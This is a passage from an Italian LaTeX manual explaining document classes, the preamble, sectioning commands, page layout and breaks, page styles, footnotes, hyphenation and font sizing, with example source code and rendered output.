Contatore	Descrizione
enumi enumii enumiii enumiv	contatori usati negli elenchi numerati.

62.5 Struttura del documento

LaTeX semplifica la scrittura di un documento, rispetto al linguaggio TeX puro e semplice, ma per questo richiede l'uso di una struttura particolare nel sorgente.

62.5.1 Dichiarazione dello stile generale

Lo stile generale del documento viene definito all'inizio del sorgente LaTeX attraverso la dichiarazione seguente:

```
\documentclass[opzioni]{classe}
```

Le classi possono essere:

Classe	Descrizione
slides	rappresenta una sequenza di diapositive (presentazioni).
letter	rappresenta una lettera vera e propria, dove non si ammette la separazione del testo in sezioni;
article	corrispondente a un documento senza tante pretese, ma ugualmente strutturato, che può ammettere la suddivisione in parti e sezioni (sono esclusi i capitoli);
report	corrispondente a un documento strutturato in parti e capitoli, inteso come una relazione;
book	permette di realizzare un libro suddiviso in parti e capitoli, ma a differenza della classe '**report**', le parti e i capitoli iniziano su pagine dispari (destre);

Il comando '**\documentclass**' ammette l'uso di una sola opzione, ma al suo interno possono essere indicate diverse sotto-opzioni, rappresentate da delle parole chiave, separate attraverso una virgola. Ogni classe di documento può gestire il suo gruppo particolare di sotto-opzioni, ma in generale, sono disponibili quelle seguenti che dovrebbero essere valide in ogni circostanza.

Dimensione dei caratteri:

Opzione	Descrizione
10pt	il testo normale usa caratteri con un corpo di 10 punti (predefinito);
11pt	il testo normale usa caratteri con un corpo di 11 punti;

Opzione	Descrizione
12pt	il testo normale usa caratteri con un corpo di 12 punti.

Dimensione del foglio:

Opzione	Descrizione
a4paper	formato A4;
a5paper	formato A5;
b5paper	formato B5;
letterpaper	formato Lettera (8,5 in × 11 in);
legalpaper	formato Legal (8,5 in × 14 in);
executivepaper	formato Executive (7,25 in × 10,5 in);.

Altre caratteristiche:

Opzione	Descrizione
portrait	orientamento verticale della pagina (predefinito);
landscape	orientamento orizzontale della pagina;
draft	bozza, evidenzia con una riga verticale il testo che non rispetta i bordi;
final	versione finale, senza segnalazioni sul debordamento del testo (predefinito);
twocolumn	divide il corpo in due colonne.

Per esempio:

```
\documentclass[a4paper,11pt]{book}
```

definisce l'uso della classe '**book**', utilizzando un foglio A4 con il corpo normale dei caratteri a 11 punti tipografici; mentre il comando

```
\documentclass{book}
```

definisce l'uso della classe '**book**', senza opzioni, che così viene impostata in modo predefinito.

62.5.2 Preambolo

Il preambolo è quella parte di sorgente LaTeX che sta tra la dichiarazione della classe (o dello stile generale) e la dichiarazione di inizio del documento. In questo spazio si possono inserire dei comandi di LaTeX, ma non del testo da comporre. In particolare si inseriscono qui le dichiarazioni di stili aggiuntivi da incorporare, con il comando '**`\usepackage`**':

```
\usepackage[opzioni]{pacchetto}
```

Un gruppo abbastanza comune di comandi che di norma vengono inseriti nel preambolo, è quello con cui si definiscono i dati necessari a costruire poi la pagina del titolo:

Comando	Descrizione
`\title{`*titolo*`}`	titolo del documento (si può usare la sequenza '`\\`' per ottenere un'interruzione di riga);
`\author{`*autore*`}`	autore o autori del documento (si può usare la sequenza '`\\`' per ottenere un'interruzione di riga);
`\date{`*data*`}`	data del documento;
`\thanks{`*annotazione*`}`	nota a piè di pagina riferita al titolo.

62.5.3 Inizio e fine del documento

L'inizio del documento è contrassegnato dalla dichiarazione '**`\begin{document}`**' e la fine da '**`\end{document}`**'. Tutto quello che appare dopo la conclusione del documento viene semplicemente ignorato.

Subito dopo l'apertura del documento viene collocata normalmente l'istruzione di creazione del titolo, '**`\maketitle`**', seguita eventualmente dal comando di creazione dell'indice, '**`\tableofcontents`**':

```
\begin{document}
\maketitle
\tableofcontents
...
...
\end{document}
```

Segue il riepilogo dei comandi che riguardano in particolare l'inserimento dell'indice generale e di quelli specifici di figure e tabelle:

Comando	Descrizione
`\maketitle`	genera la pagina del titolo, traendo i dati dai comandi '**`\title`**', '**`\author`**', '**`\date`**' e '**`\thanks`**' usati nel preambolo;
`\tableofcontents`	inserisce l'indice generale del documento;
`\listoffigures`	elenca le figure che appaiono nel documento;

Comando	Descrizione
`\listoftables`	elenca le tabelle che appaiono nel documento.

A seconda della classe del documento, i comandi elencati nella tabella, che servono per la creazione di un indice, prevedono l'inserimento di un titolo automatico, attraverso un comando di dichiarazione di un capitolo o di una sezione non numerati (con un asterisco, come spiegato nella sezione successiva).

Si osservi che, a differenza dell'indice generale, la creazione di un indice analitico è un processo più complicato, descritto nella sezione 62.10.

62.5.4 Suddivisione del documento

Normalmente, il corpo del documento può essere suddiviso, a seconda del tipo di classe utilizzato. Si usano per questo i comandi elencati nella tabella seguente (anche l'asterisco fa parte dell'istruzione):

Comando	Descrizione
`\part[`***opzioni***`]{`***titolo_della_parte***`}` `\part*[`***opzioni***`]{`***titolo_della_parte***`}`	inizia una parte (solo per le classi '**article**', '**report**' e '**book**');
`\chapter[`***opzioni***`]{`***titolo_del_capitolo***`}` `\chapter*[`***opzioni***`]{`***titolo_del_capitolo***`}`	inizia un capitolo (solo per le classi '**report**' e '**book**');
`\section[`***opzioni***`]{`***titolo_della_sezione***`}` `\section*[`***opzioni***`]{`***titolo_della_sezione***`}`	inizia una sezione;
`\subsection[`***opzioni***`]{`***titolo_della_sottosezione***`}` `\subsection*[`***opzioni***`]{`***titolo_della_sottosezione***`}`	inizia una sottosezione;
`\subsubsection[`***opzioni***`]{`***titolo_della_sotto_sottosezione***`}` `\subsubsection*[`***opzioni***`]{`***titolo_della_sotto_sottosezione***`}`	inizia una sotto-sottosezione;
`\paragraph[`***opzioni***`]{`***titolo_del_paragrafo***`}` `\paragraph*[`***opzioni***`]{`***titolo_del_paragrafo***`}`	inizia un paragrafo;
`\subparagraph[`***opzioni***`]{`***titolo_del_sottoparagrafo***`}` `\subparagraph*[`***opzioni***`]{`***titolo_del_sottoparagrafo***`}`	inizia un sottoparagrafo;
`\appendix`	definisce l'inizio delle appendici.

In pratica, tutti questi comandi, escluso '**\appendix**', dichiarano un titolo, che a seconda del caso appartiene all'inizio di una parte, di un capitolo o di una suddivisione inferiore. Come

si vede dai modelli sintattici, questi comandi prevedono la presenza di opzioni, che però in pratica non si usano; inoltre, esistono due versioni del comando, con o senza asterisco.

I comandi da '**`\part`**' a '**`\subsection`**', vengono utilizzati per la costruzione dell'indice generale (che si può poi ottenere con il comando '**`\tableofcontents`**'); inoltre, questi comandi prevedono la numerazione automatica delle voci, a seconda del livello di importanza. Se si usano questi comandi con l'asterisco, viene a mancare la numerazione e l'inserimento nell'indice generale. Le suddivisioni di livello inferiore non prevedono la numerazione e l'inserimento nell'indice, pertanto l'asterisco è praticamente privo di effetto.

```
\documentclass{report}
…
\begin{document}

\chapter{\LaTeX}

Bla bla bla bla bla bla bla...

\section{Suddivisione del documento}

Bla bla bla bla bla bla bla...

\section*{Sezione non numerata}

Questa sezione non è numerata e non ha una voce nell'indice generale.

\subsection{Sottosezioni}

Questa è una sottosezione normale, bla bla bla...

\subsubsection{Sotto-sottosezione}

Questa è una sotto-sottosezione normale, bla bla bla...

\paragraph{Paragrafo normale}

Questo è un paragrafo normale, bla bla bla...

\subparagraph{Sottoparagrafo normale}

Questo è un sottoparagrafo normale, bla bla bla...

\end{document}
```

L'esempio, in cui non appare il preambolo (nel quale si deve definire l'uso della lingua italiana, la codifica adatta e una classe del documento che consenta la suddivisione in capitoli), si traduce nel risultato visibile nella figura 62.69, dove si può osservare in che modo procede la numerazione delle sezioni e l'aspetto normale delle suddivisioni di importanza minore.

Figura 62.69. Esempio nell'uso dei comandi di suddivisione del documento.

Capitolo 1

LATEX

Bla bla bla bla bla bla bla...

1.1 Suddivisione del documento

Bla bla bla bla bla bla bla...

Sezione non numerata

Questa sezione non [U+FFFD]merata e non ha una voce nell'indice generale.

1.1.1 Sottosezioni

Questa [U+FFFD]a sottosezione normale, bla bla bla...

Sotto-sottosezione

Questa [U+FFFD]a sotto-sottosezione normale, bla bla bla...

Paragrafo normale Questo [U+FFFD] paragrafo normale, bla bla bla...

Sottoparagrafo normale Questo [U+FFFD] sottoparagrafo normale, bla bla bla...

1

Quando si incontra il comando '**`\appendix`**', la numerazione dei capitoli cambia, diventando alfabetica. Se nell'esempio già mostrato si inserisce il comando '**`\appendix`**' prima della dichiarazione del capitolo, si ottiene il risultato che vi vede nella figura 62.71

```
\appendix

\chapter{\LaTeX}

Bla bla bla bla bla bla bla...

...
```

Figura 62.71. Appendici.

Appendice A

LATEX

Bla bla bla bla bla bla bla...

A.1 Suddivisione del documento

Bla bla bla bla bla bla bla...

Sezione non numerata

Questa sezione non [U+FFFD]merata e non ha una voce nell'indice generale.

A.1.1 Sottosezioni

Questa [U+FFFD]a sottosezione normale, bla bla bla...

Sotto-sottosezione

Questa [U+FFFD]a sotto-sottosezione normale, bla bla bla...

Paragrafo normale Questo [U+FFFD] paragrafo normale, bla bla bla...

Sottoparagrafo normale Questo [U+FFFD] sottoparagrafo normale, bla bla bla...

1

62.5.5 Ambienti

LaTeX introduce un tipo nuovo di comando che serve a definire degli ***ambienti***. L'istruzione '**`\begin{`*ambiente*`}`**' delimita l'inizio di un ambiente le cui caratteristiche sono definite dal nome contenuto tra le parentesi graffe; l'istruzione '**`\end{`*ambiente*`}`**' delimita la fine dell'ambiente dichiarato in precedenza. Per esempio, l'ambiente '**`document`**' definisce la zona in cui appare il corpo del documento.

A titolo di esempio, vengono elencati alcuni ambienti comuni, utilizzati frequentemente per definire le caratteristiche di paragrafi particolari:

Comando	Descrizione
`\begin{center}`***testo***`\end{center}`	centra orizzontalmente il testo;
`\begin{quote}`***testo***`\end{quote}` `\begin{quotation}`***testo***`\end{quotation}`	fa rientrare leggermente il testo a destra e a sinistra;

Comando	Descrizione
`\begin{verbatim}`***testo***`\end{verbatim}`	mantiene il testo esattamente come digitato nel sorgente.

L'esempio seguente mostra i comandi necessari a centrare il testo «Ciao a tutti!».

```
\begin{center}
Ciao a tutti!
\end{center}
```

62.6 LaTeX: la pagina

La pagina di LaTeX viene definita automaticamente, in base alle opzioni usate nella definizione della classe del documento; eventualmente è possibile intervenire per cambiare l'impostazione predefinita, ma in tal caso tutto diventa piuttosto complesso.

62.6.1 Dimensioni della pagina

Le dimensioni della pagina sono definite da una serie di lunghezze rigide che possono essere modificate facilmente, ma per questo occorre conoscere le varie competenze di queste variabili. In particolare, occorre tenere presente che, a seconda della classe, ci può essere o meno una distinzione tra pagine destre e sinistre.

Figura 62.74. Lunghezze che definiscono la forma della pagina.

\paperwidth
\paperheight
1 in + \voffset
\topmargin
\headheight
\headsep
\textheight
\footskip
intestazione
corpo
piè di pagina
pagina pari (sinistra)
\textwidth
1 in + \hoffset
\evensidemargin
\paperwidth
\paperheight
1 in + \voffset
\topmargin
\headheight
\headsep
\textheight
\footskip
intestazione
corpo
piè di pagina
pagina dispari (destra)
1 in + \hoffset
\textwidth
\oddsidemargin

La figura 62.74 mostra schematicamente la competenza delle varie lunghezze utilizzate; in particolare, si osservi che si fa riferimento sempre a pagine destre, salvo il caso di classi che distinguono tra pagine destre e sinistre. La tabella 62.75 descrive le varie lunghezze, mostrando il valore predefinito in presenza della classe '**`book`**', con l'opzione '**`a4paper`**'.

Tabella 62.75. Elenco dei comandi che intervengono nella definizione delle dimensioni della pagina.

Lunghezza	Valore predefinito	Descrizione
\paperwidth	614.295pt	Larghezza del foglio di carta su cui si stampa.
\paperheight	794.96999pt	Altezza del foglio di carta su cui si stampa.
\hoffset	0.0pt	Scostamento orizzontale dal bordo interno, dopo il margine di 2,54 cm (1 in).
\voffset	0.0pt	Scostamento verticale dal bordo superiore, dopo il margine di 2,54 cm (1 in).
\oddsidemargin	35.0pt	Margine dopo lo scostamento orizzontale, per le pagine destre.
\evensidemargin	89.0pt	Margine dopo lo scostamento orizzontale, per le pagine sinistre.
\textwidth	398.33858pt	Larghezza del corpo in cui si inserisce il testo.
\textheight	550.0pt	Altezza del corpo in cui si inserisce il testo.
\columnwidth	398.33858pt	Larghezza della colonna (se la pagina contiene una sola colonna di testo, la larghezza corrisponde a quella del corpo a disposizione).
\columnsep	10.0pt	Distanza tra le colonne, quando la composizione [U+FFFD]ue colonne.
\headheight	12.0pt	Altezza dell'intestazione.
\topmargin	22.0pt	Margine dopo lo scostamento verticale, fino alla parte superiore della riga di intestazione.
\headsep	18.06749pt	Spazio di separazione verticale tra la base della riga di intestazione e la parte superiore del corpo.
\footskip	25.29494pt	Spazio tra la parte inferiore del corpo e la base della riga del pi[U+FFFD] pagina.

È importante osservare i margini ('**\topmargin**', '**\oddsidemargin**' o '**\evensidemargin**') fanno riferimento a un punto di inizio spostato di un pollice, sia dal margine interno, sia dall'alto; pertanto, se si vogliono avere margini inferiori a 2,54 cm, i valori delle lunghezze di scostamento relative possono essere negativi.

62.6.2 Flusso verticale del testo, colonne e salti pagina

Con LaTeX, il testo viene distribuito verticalmente in modo analogo a quanto fa già TeX; tuttavia, cambiano i comandi per interrompere le righe e per il salto pagina, inoltre si inseriscono comandi per richiedere di non saltare pagina in un certo punto. La tabella seguente elenca i comandi che consentono un controllo del salto pagina:

Comando	Descrizione
\newline	interrompe il flusso del blocco per iniziare una riga nuova;
\linebreak[0|1|2|3|4]	richiede un'interruzione di riga con un grado di intensità pari al numero tra parentesi quadre (il numero maggiore richiede l'interruzione di riga con maggiore insistenza);
\newpage	salta all'inizio della prossima colonna;
\clearpage	esegue un salto pagina, assicurando che vengano inseriti gli oggetti fluttuanti che non hanno ancora trovato posto nella composizione;

Comando	Descrizione
`\cleardoublepage`	esegue un salto pagina, in modo da iniziare con una pagina destra (dispari), assicurando che vengano inseriti gli oggetti fluttuanti che non hanno ancora trovato posto nella composizione;
`\pagebreak[0|1|2|3|4]`	richiede un salto pagina con un grado di intensità pari al numero tra parentesi quadre (il numero maggiore richiede il salto pagina con maggiore insistenza);
`\nopagebreak[0|1|2|3|4]`	richiede che non venga fatto un salto pagina nel punto in cui appare il comando, con un grado di intensità pari al numero tra parentesi quadre (il numero maggiore richiede che non si faccia il salto pagina con maggiore insistenza);
`{\samepage` ***testo*** `}`	richiede che il testo indicato rimanga nella stessa pagina;
`\vfill`	inserisce uno spazio verticale elastico.

I comandi '**`\newline`**', '**`\newpage`**', '**`\clearpage`**' e '**`\cleardoublepage`**' sono drastici (il particolare legato agli oggetti fluttuanti viene chiarito nel capitolo in cui si descrive l'inserimento di immagini e di tabelle fluttuanti), mentre '**`\linebreak`**', '**`\nolinebreak`**', '**`\pagebreak`**' e '**`\nopagebreak`**', con o senza opzione, dipendono dalla calcolo di convenienza che viene fatto in fase di composizione.

Per tenere unita una porzione di testo, il metodo più efficace è dato dal comando '**`\samepage`**', che deve essere inserito in un raggruppamento tra parentesi graffe, come si vede nella tabella riepilogativa. Tuttavia, anche in questo caso, non si può garantire che tutto il pezzo richiesto rimanga nella stessa pagina: la probabilità che sia inserita un'interruzione di pagina aumenta con l'allontanarsi dal comando.

Tra questi comandi, '**`\vfill`**' non serve per ottenere o per evitare dei salti pagina, ma consente di spostare in basso del testo, quando viene usato con la richiesta di un salto pagina. Si osservi l'esempio seguente:

```
\noindent Bla bla bla bla bla bla...

\vfill

\noindent Copyright © 2002-2022 Tizio Tizi

\noindent This work is free; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version.

\noindent This work is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.

\noindent You should have received a copy of the GNU General Public
License along with this work; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
```

```
\newpage
```

La figura 62.78 mostra il risultato della composizione, simulando una pagina molto corta, per questioni di spazio.

Figura 62.78. Allineamento in basso del testo con l'aiuto di '**\vfill**'.

Bla bla bla bla bla bla...

Copyright 2002-2022 Tizio Tizi
This work is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
This work is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with this work; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

È da osservare che, a differenza del linguaggio TeX puro e semplice, i comandi per il salto pagina provvedono da soli ad aggiungere uno spazio elastico adeguato, per evitare che il contenuto della pagina venga allungato in modo inopportuno.

I comandi che richiedono un salto pagina, non si possono cumulare. In pratica, due comandi '**\newpage**' in sequenza, generano un salto solo. Per riuscire a ottenere un salto pagina aggiuntivo, occorre scrivere qualcosa, come uno spazio non interrompibile, prima di un nuovo salto pagina. È per questo che esiste il comando '**\cleardoublepage**' che permette di raggiungere l'inizio di una pagina destra.

LaTeX consente di controllare in modo complessivo l'allineamento verticale, attraverso due comandi molto semplici:

Comando	Descrizione
`\raggedbottom`	lascia che il testo si distribuisca verticalmente in modo naturale, senza tentare di allungarlo per occupare tutto lo spazio a disposizione;
`\flushbottom`	se possibile, allunga verticalmente gli spazi per occupare tutto lo spazio verticale della pagina.

LaTeX utilizza in modo predefinito una o l'altra forma, a seconda della classe del documento. Come già accennato, i comandi per il salto pagina inseriscono automaticamente uno spa-

zio elastico sufficiente a evitare che in quel punto si tenti di allungare il testo fino alla fine della pagina; tuttavia, ci sono situazioni in cui con la modalità corrispondente al comando '**`\flushbottom`**' si ottengono pagine troppo allungate.

In condizioni normali, LaTeX genera una composizione su una sola colonna verticale; tuttavia è possibile distribuire il testo su due colonne, con l'uso di due comandi particolari, che consentono di cambiare da una modalità all'altra:

Comando	Descrizione
`\onecolumn`	inizia una nuova pagina con una sola colonna;
`\twocolumn`	inizia una nuova pagina con due colonne;
`\twocolumn[`***testo***`]`	inizia una nuova pagina con due colonne, mettendo il testo che appare tra parentesi quadre all'inizio, ma distribuito orizzontalmente su entrambe le colonne.

L'esempio seguente consente di vedere in pratica una composizione a due colonne. Si può osservare il fatto che la frase iniziale viene posta a cavallo delle due colonne.

```
\twocolumn[Bla bla bla bla... questo testo va a cavallo delle due colonne]

Qui inizia la suddivisione del testo in due colonne verticali. Bla bla
bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla...

\newpage

Qui inizia un'altra colonna, a seguito dell'uso del comando di salto
pagina semplice. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla...
```

Come si può osservare nella composizione finale che appare nella figura 62.82, il comando '**`\newpage`**' genera un salto fino all'inizio della colonna successiva, indipendentemente dal fatto che questa si trovi nella pagina corrente o in quella successiva. Al contrario, i comandi '**`\clearpage`**' e, necessariamente, '**`cleardoublepage`**', fanno ricominciare la composizione effettivamente in una pagina nuova.

Figura 62.82. Esempio di composizione a due colonne.

Bla bla bla bla... questo testo va a cavallo delle due colonne

Qui inizia la suddivisione del testo in due colonne verticali. Bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Qui inizia un'altra colonna, a seguito dell'uso del comando di salto pagina semplice. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Il comando '**\twocolumn**' crea due colonne di larghezza uguale, utilizzando lo spazio definito dalla lunghezza '**\textwidth**', meno lo spazio di '**\columnsep**'. Pertanto, se si desidera cambiare la larghezza dello spazio interno alle colonne occorre intervenire prima nella lunghezza '**\columnsep**' e quindi usare il comando '**\twocolumn**'.

62.6.3 Stile della pagina

LaTeX definisce in modo automatico l'aspetto della riga di intestazione e di quella del fondo pagina, in base alla classe del documento, inserendo eventualmente delle varianti all'inizio delle parti e dei capitoli. I comandi elencati nella tabella seguente, consentono di interferire nello stile della pagina:

Comando	Descrizione
`\pagestyle{plain}` `\thispagestyle{plain}`	richiede lo stile più semplice, in cui viene mostrato soltanto il numero di pagina;
`\pagestyle{empty}` `\thispagestyle{empty}`	richiede che venga eliminata qualunque indicazione, sopra e sotto il corpo del testo;
`\pagestyle{headings}` `\thispagestyle{headings}`	richiede che si utilizzino intestazioni e righe in fondo alla pagina in modo predefinito, secondo la classe del documento;
`\pagestyle{myheadings}` `\thispagestyle{myheadings}`	richiede che si utilizzino intestazioni e righe in fondo alla pagina secondo quanto richiesto espressamente con i comandi '**\markboth**' o '**\markright**';
`\markboth{`***intestazione_sinistra***`}{`***intestazione_destra***`}`	definisce delle righe di intestazione personalizzate, distinte per le pagine sinistre e per le pagine destre;
`\markright{`***intestazione_destra***`}`	definisce la riga di intestazione personalizzata per le pagine destre (si usa quando la classe del documento prevede di non distinguere tra pagine sinistre e destre);

Nell'elenco, sono stati messi assieme i comandi '**\pagestyle**' e '**\thispagestyle**', ma il

primo interviene su tutte le pagine, a partire da quella in corso, fino al prossimo comando del genere, mentre il secondo riguarda esclusivamente la pagina in corso, come eccezione rispetto allo stile normale. LaTeX utilizza proprio questa tecnica per fare in modo che la pagina iniziale di un capitolo o di una parte sia diversa nello stile rispetto alle altre pagine normali.

Generalmente, le righe di intestazione sono definite automaticamente in modo appropriato, secondo la classe prescelta del documento. Per modificare manualmente queste righe di intestazione, si deve definire lo stile personalizzato, con il comando '**`\pagestyle{myheadings}`**', specificando il contenuto delle intestazioni con '**`\markboth`**' o con '**`\markright`**'. La definizione personalizzata delle intestazioni si limita a una riga di testo molto semplice, che viene allineata in modo appropriato (a sinistra nella pagine destre e a destra nelle pagine sinistre), per lasciare il posto al numero della pagina che viene inserito da LaTeX, senza poter intervenire su questo particolare.

A proposito dell'uso di '**`\markboth`**' e di '**`\markright`**', è interessante osservare che, se ci si trova in una pagina sinistra, viene preso in considerazione l'ultimo comando '**`\markboth`**' che rientri nella pagina, mentre se ci si trova in una pagina destra, viene preso in considerazione il primo comando '**`\markboth`**' o '**`\markright`**' che si trovi nella pagina stessa.

62.6.4 Numerazione delle pagine

LaTeX gestisce la numerazione delle pagine in modo automatico, attraverso il contatore '**`page`**'. A seconda della classe del documento, il contatore viene inizializzato in certi punti chiave, mostrando eventualmente una sequenza di numerazione differente. Se necessario, è possibile intervenire sul contatore e sull'aspetto della sequenza di numerazione.

Comando	Descrizione
`\pagenumbering{arabic}`	richiede una sequenza numerica normale (numeri arabi);
`\pagenumbering{roman}`	richiede una sequenza numerica con numeri romani fatti di lettere minuscole;
`\pagenumbering{Roman}`	richiede una sequenza numerica con numeri romani fatti di lettere maiuscole;
`\pagenumbering{alph}`	richiede una sequenza alfabetica minuscola;
`\pagenumbering{Alph}`	richiede una sequenza alfabetica maiuscola;
`\setcounter{page}{`***n***`}`	assegna alla pagina corrente il numero indicato; anche se si assegna un numero negativo, la progressione rimane in senso positivo.

Nella sezione 62.4.2 è stato descritto l'uso dei contatori; per modificare il contatore della pagina, è sufficiente agire sul nome '**`page`**', per esempio reinizializzandolo in questo modo:

```
\setcounter{page}{1}
```

Naturalmente, per intervenire in questo modo ci deve essere un buon motivo, perché la classe del documento provvede già a definire il modo migliore per reinizializzare il contatore al momento più opportuno.

Nello stesso modo, potrebbe essere interessante cambiare il modo in cui viene mostrato il numero della pagina, attraverso il comando '**`\pagenumbering`**', come descritto nella tabella.

62.6.5 Note a piè di pagina

Le note a piè di pagina vengono definite normalmente attraverso il comando '**\footnote**', che provvede da solo a incrementare il contatore delle note, corrispondente a '**footnote**', e a inserire la nota nella collocazione appropriata. Tuttavia, volendo fare riferimento alla stessa nota in più punti distinti, occorre separare la fase di dichiarazione da quella in cui si definisce il testo associato.

Comando	Descrizione
\footnote{*testo*}	incrementa il contatore delle note, inserisce il numero ad apice nel testo e mette la nota a piè di pagina;
\footnotemark[\value{footnote}]	lascia inalterato il contatore delle note e inserisce il numero attuale del contatore ad apice nel testo;
\footnotemark[***n***]	lascia inalterato il contatore delle note e inserisce il numero ***n*** ad apice nel testo;
\footnotemark	incrementa il contatore delle note, inserisce il numero ad apice nel testo, ma per la nota a piè di pagina attende il comando '**\footnotetext**';
\footnotetext{*testo*}	mette la nota a piè di pagina, associandole il numero attuale del contatore '**footnote**'.
\footnotetext[***n***]{*testo*}	mette la nota a piè di pagina, associandole il numero ***n***.

62.6.6 Sillabazione

Come per TeX, si può usare il comando '**\hyphenation**' per dichiarare la sillabazione di parole che in qualche modo non vengono separate correttamente; per esempio così:

```
\hyphenation{car-tel-lo-ne ma-nu-a-le}
```

Eventualmente, come già annotato in un'altra sezione, se c'è la necessità di mantenere unita una parola, o più parole assieme, si può usare una scatola:

```
\mbox{file system}
```

In questo caso, oltre che impedire la separazione delle parole, si vuole anche evitare che la riga venga interrotta in corrispondenza dello spazio che le separa.

62.7 Caratteri

In generale, LaTeX eredita la gestione dei caratteri da stampa del linguaggio TeX puro e semplice. In questo senso, valgono praticamente le stesse regole per ottenere le lettere accentate e gli altri simboli speciali, con la differenza che è possibile istruire LaTeX in modo che accetti la codifica UTF-8, con le istruzioni seguenti, da inserire nel preambolo, come descritto nella sezione 62.1.

```
\usepackage[utf8x]{inputenc}
\usepackage[T1]{fontenc}
```

Anche con LaTeX funzionano i legati in modo automatico, inoltre si definiscono i contesti matematici nello stesso modo di TeX.

La differenza importante di LaTeX sta nella definizione di una veste grafica complessiva e nel modo di fare riferimento ai caratteri da stampa, che avviene attraverso comandi differenti, con comportamenti diversi rispetto a TeX.

Negli esempi, salvo indicazione diversa, si suppone di utilizzare nel preambolo i comandi necessari all'utilizzo della codifica UTF-8:

```
\usepackage[utf8x]{inputenc}
\usepackage[T1]{fontenc}
```

62.7.1 Caratteri che hanno un significato speciale

Alcuni simboli (caratteri) usati nel sorgente hanno necessariamente un significato speciale, nel senso che non si traducono nel segno corrispondente nella composizione. Questo problema esiste già con TeX, ma LaTeX offre delle alternative leggermente diverse nel modo di ottenere i simboli mancanti nella composizione. La tabella 62.91 riepiloga i simboli che hanno un significato speciale nel sorgente LaTeX, con l'indicazione del codice necessario per ottenere i segni corrispondenti nella composizione.

Tabella 62.91. Elenco dei caratteri che hanno significati particolari.[2]

Carattere speciale	Utilizzo normale	Trasformazione per l'uso letterale
`\`	Prefisso di un comando o di un simbolo di controllo.	`\textbackslash`
`{` `}`	Apre e chiude un gruppo.	`\{` `\}`
`%`	Inizia un commento fino alla fine della riga.	`\%`
`&`	Tabulazione orizzontale.	`\&`
`~`	Spazio non interrompibile.	`\textasciitilde`
`$`	Inizia e conclude un contesto matematico.	`\$`
`^`	Apice, in un contesto matematico.	`\textasciicircum`
`_`	Il trattino basso rappresenta un pedice, in un contesto matematico.	`\_{}`
`#`	Definisce la collocazione di un parametro.	`\#`
<SP>	Uno o più spazi vengono ridotti a uno solo.	\<SP>
`[` `]`	Alle volte, le parentesi quadre delimitano un'opzione e non vengono inserite nella composizione.	`{[}` `{]}`

Per quanto riguarda gli accenti ottenuti sovrapponendo il simbolo alla lettera successiva, il

funzionamento è uguale a quello di TeX, come descritto nelle sezioni 61.10.2 e 61.17.1.

62.7.2 Corpi uniformi

Lo scopo principale di LaTeX è quello di impostare una veste grafica uniforme, dove, tra le altre cose si specificano inizialmente i corpi e gli stili dei caratteri da stampa da usare nei vari contesti. In particolare, con il comando iniziale '**`\documentclass`**' è possibile indicare la dimensione normale del testo, attraverso un'opzione (come '**`11pt`**'), a cui si adegua proporzionalmente tutto il resto (sezione 62.1).

Alcuni comandi definiscono il corpo del carattere in base a delle definizioni relative:

Comando	Descrizione
`{\Huge` ***testo*** `}` `\begin{Huge}`***testo***`\end{Huge}`	il corpo più grande della serie;
`{\huge` ***testo*** `}` `\begin{huge}`***testo***`\end{huge}`	
`{\LARGE` ***testo*** `}` `\begin{LARGE}`***testo***`\end{LARGE}`	
`{\Large` ***testo*** `}` `\begin{Large}`***testo***`\end{Large}`	
`{\large` ***testo*** `}` `\begin{large}`***testo***`\end{large}`	
`{\normalsize` ***testo*** `}` `\begin{normalsize}`***testo***`\end{normalsize}`	la dimensione normale del testo;
`{\small` ***testo*** `}` `\begin{small}`***testo***`\end{small}`	
`{\footnotesize` ***testo*** `}` `\begin{footnotesize}`***testo***`\end{footnotesize}`	
`{\scriptsize` ***testo*** `}` `\begin{scriptsize}`***testo***`\end{scriptsize}`	
`{\tiny` ***testo*** `}` `\begin{tiny}`***testo***`\end{tiny}`	il corpo più piccolo nell'ambito della veste grafica scelta.

In condizioni normali, questi comandi non vengono usati direttamente da chi scrive un docu-

mento in LaTeX; tuttavia, se c'è la necessità di ingrandire o di rimpicciolire il testo, con questi c'è la certezza di rimanere nelle dimensioni standard usate dallo stile prescelto:

```
Questo è un testo normale, che può diventare più {\large grande}
o più {\small piccolo}, a seconda delle esigenze.
```

Questo [U+FFFD] testo normale, che pu[U+FFFD]entare pi grande o pi piccolo, a seconda delle esigenze.

62.7.3 Caratteri da stampa

A differenza di TeX, i comandi di LaTeX che definiscono lo stile del carattere sono cumulabili. Per esempio, la definizione di un testo in corsivo può essere cumulata con quella del neretto, per ottenere un neretto corsivo.

Le caratteristiche principali di un carattere sono lo stile, la serie e il corpo. Lo stile e la serie possono essere definite utilizzando istruzioni del tipo seguente:

1. ***stile_serie_a***{***testo***}

2. {***stile_serie_b*** ***testo***}

3. \begin{***stile_serie_b***}...\end{***stile_serie_b***}

I nomi delle istruzioni cambiano a seconda che si utilizzi un modo oppure l'altro. Per esempio, per scrivere un testo in corsivo, si possono utilizzare questi tre modi.

```
\textit{Testo in corsivo}

{\itshape Testo in corsivo}

\begin{itshape}Testo in corsivo\end{itshape}
```

